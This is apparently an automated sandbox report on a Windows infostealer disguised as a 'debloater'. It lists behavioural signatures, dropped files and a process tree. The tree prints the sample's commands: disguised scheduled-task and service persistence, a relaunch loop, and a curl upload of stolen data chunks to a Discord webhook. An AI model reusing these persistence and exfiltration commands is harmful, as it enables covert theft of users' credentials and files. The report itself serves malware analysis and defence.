Analysis

  • user interaction
    yes
  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/07/2026, 00:22

General

  • Target
    microslopdebloater.exe
  • Size 475KB
  • Sample260718-an1pdset8t
  • SHA256 cf860935a6872927f7720b555011ed4d0dced9a254d47fd83179ca7f719b3af0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates new service(s) 2 TTPs
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 8 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Executes a command shell one-liner 1 TTPs 9 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe
    "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe"
    1⤵
    • Adds Run key to start application
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies Control Panel
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3444
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3544
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Windows\system32\sc.exe
        sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service"
        3⤵
        • Launches sc.exe
        PID:2584
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start WinSecHealth >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:816
      • C:\Windows\system32\sc.exe
        sc start WinSecHealth
        3⤵
        • Launches sc.exe
        PID:2068
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c :loop & tasklist | findstr SecurityHealthService >nul || start "" "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" & timeout /t 30 >nul & goto loop
      2⤵
      • Executes a command shell one-liner
      PID:4212
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -X POST "https://discord.com/api/webhooks/1527774699940085773/a4oB4q_QqhMOhz0mqIUhhUnpeGecW_Zu00YA3w6aSV-RPCuheAolyj8yEazPKvBfkBbG" -H "Content-Type: multipart/form-data" -F "payload_json={\"content\":\"Stolen data - Part 1/2\"}" -F "file1=@C:\Users\Admin\AppData\Local\Temp\\chunk_tmp\steal.part001" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4124
      • C:\Windows\system32\curl.exe
        curl -X POST "https://discord.com/api/webhooks/1527774699940085773/a4oB4q_QqhMOhz0mqIUhhUnpeGecW_Zu00YA3w6aSV-RPCuheAolyj8yEazPKvBfkBbG" -H "Content-Type: multipart/form-data" -F "payload_json={\"content\":\"Stolen data - Part 1/2\"}" -F "file1=@C:\Users\Admin\AppData\Local\Temp\\chunk_tmp\steal.part001"
        3⤵
          PID:5044
    • C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe
      C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe
      1⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4492
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3456
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service" >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4100
        • C:\Windows\system32\sc.exe
          sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service"
          3⤵
          • Launches sc.exe
          PID:1192
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c sc start WinSecHealth >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3240
        • C:\Windows\system32\sc.exe
          sc start WinSecHealth
          3⤵
          • Launches sc.exe
          PID:728
      • C:\Windows\system32\cmd.exe
        cmd /c :loop & tasklist | findstr SecurityHealthService >nul || start "" "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" & timeout /t 30 >nul & goto loop
        2⤵
        • Executes a command shell one-liner
        PID:2480
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4372
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff81975c728,0x7ff81975c734,0x7ff81975c740
        2⤵
          PID:648
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1696,i,9304970900595045262,15183114721196917827,262144 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1780 /prefetch:2
          2⤵
            PID:824
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1616,i,97747982632016250,14742279507615972230,524288 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2280 /prefetch:3
            2⤵
            • System Time Discovery
            PID:3424
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,2403285350307721711,16423270018703667267,524288 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2520 /prefetch:8
            2⤵
              PID:1200
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3252,i,1520823303962838992,11625658513127832789,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
              2⤵
                PID:4424
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3344,i,6118956793584392580,17326158589560708578,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3404 /prefetch:1
                2⤵
                  PID:368
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4532,i,5688195066570634760,15423125168251760485,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4552 /prefetch:2
                  2⤵
                    PID:3672
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3996,i,14505433028604282457,8483357049596015044,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4008 /prefetch:1
                    2⤵
                      PID:1120
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:1060

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          Network Persistent State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                          • Size 1KB
                          • SHA256 72524f9840d5956eb0ff926aa1e09364cd1ba2b08c8ff62dcfc64e797d14c09a
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          TransportSecurity

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                          • Size 523B
                          • SHA256 03089361b77e0b967f34444afc8b1f9286e8b5dca5e8a6a11e008ca4baec4645
                          • MD5 SHA1 SHA512 TLSH

                          Preferences

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                          • Size 11KB
                          • SHA256 246911342994d979111c8f80ba24b1e8f294f4ddb2873cd42fb1233b880e3335
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Secure Preferences

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                          • Size 17KB
                          • SHA256 34d3b150d9ebc3413240a436dcd8cc4d2da0e46d00a681d2118263aea9d32f3e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          the-real-index

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                          • Size 120B
                          • SHA256 3a760ef1b2f21eb3d6b91584155685b09d514dc57341453d8939055adbead462
                          • MD5 SHA1 SHA512 TLSH

                          the-real-index~RFe59f4e5.TMP

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59f4e5.TMP
                          • Size 96B
                          • SHA256 55ab5b88313e5296ab9577092f1565e7e05e8a5d188230c9c956f5cc6a7b51e9
                          • MD5 SHA1 SHA512 TLSH

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 9048f9ea2c3bc0a9a2e9f809d4a2c2a220e9987bff8f8144c8aebe745ea30e75
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 116KB
                          • SHA256 8f7b11f3572beabba6b59b67b0a1b5de322247dc21ecefcfded9c8d576ef8aa1
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          data_1

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
                          • Size 264KB
                          • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                          • MD5 SHA1 SHA512 SSDEEP

                          steal.zip

                          • Path C:\Users\Admin\AppData\Local\Temp\roblox_game\steal.zip
                          • Size 26.1MB
                          • SHA256 b76a4130e2e0cb0ca8d9ca170938f9e16703b8ac2eb1b4823b5bd78b19c2c928
                          • MD5 SHA1 SHA512 SSDEEP TLSH